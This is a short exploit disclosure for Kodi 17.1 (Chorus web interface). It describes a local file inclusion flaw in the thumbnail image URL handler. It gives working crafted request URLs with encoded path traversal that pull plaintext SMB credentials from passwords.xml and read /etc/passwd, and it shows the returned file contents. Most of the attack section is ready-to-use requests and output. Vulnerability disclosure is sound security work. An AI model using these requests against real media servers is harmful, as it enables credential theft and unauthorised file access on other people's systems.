Kodi 17.1 - Arbitrary File Disclosure

# Exploit Title: Kodi - Local File Inclusion
# Date: 12 February 2017
# Exploit Author: Eric Flokstra
# Vendor Homepage: https://kodi.tv/
# Software Link: https://kodi.tv/download/
# Version: Kodi version 17.1 (Krypton), Chorus version 2.4.2
# Tested on: Linux

Kodi (formerly XBMC) is a free and open-source media player software
application developed by the XBMC Foundation. Chorus is a web interface
for controlling and interacting with Kodi. It is hosted by the Kodi
installation.

The web interface loads a thumbnail of an image, video or add-on when
selecting a category in the left menu with the following request:

http://192.168.1.25:8080/image/image%3A%2F%2F%252fhome%252fosmc%252f.kodi%252faddons%252fplugin.video.vice%252ficon.png%2F

Insufficient validation of user input is performed on this URL resulting
in a local file inclusion vulnerability. This enables attackers
to retrieve arbitrary files from the filesystem by changing the location
after the '/image/image%3A%2F%2F’ part.

<--Examples-->

1) If Kodi is connected to a NAS the following request can be used to obtain plain text SMB credentials:

http://192.168.1.25:8080/image/image%3A%2F%2F%2e%2e%252fhome%252fosmc%252f.kodi%252fuserdata%252fpasswords.xml

Response:

<passwords><path><from pathversion="1">smb://192.168.1.15/</from><to
pathversion="1">smb://username:[email protected]//share</to></path></passwords>

2) Request to retrieve the content of /etc/passwd:

http://192.168.1.25:8080/image/image%3A%2F%2F%2e%2e%252fetc%252fpasswd

Response:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...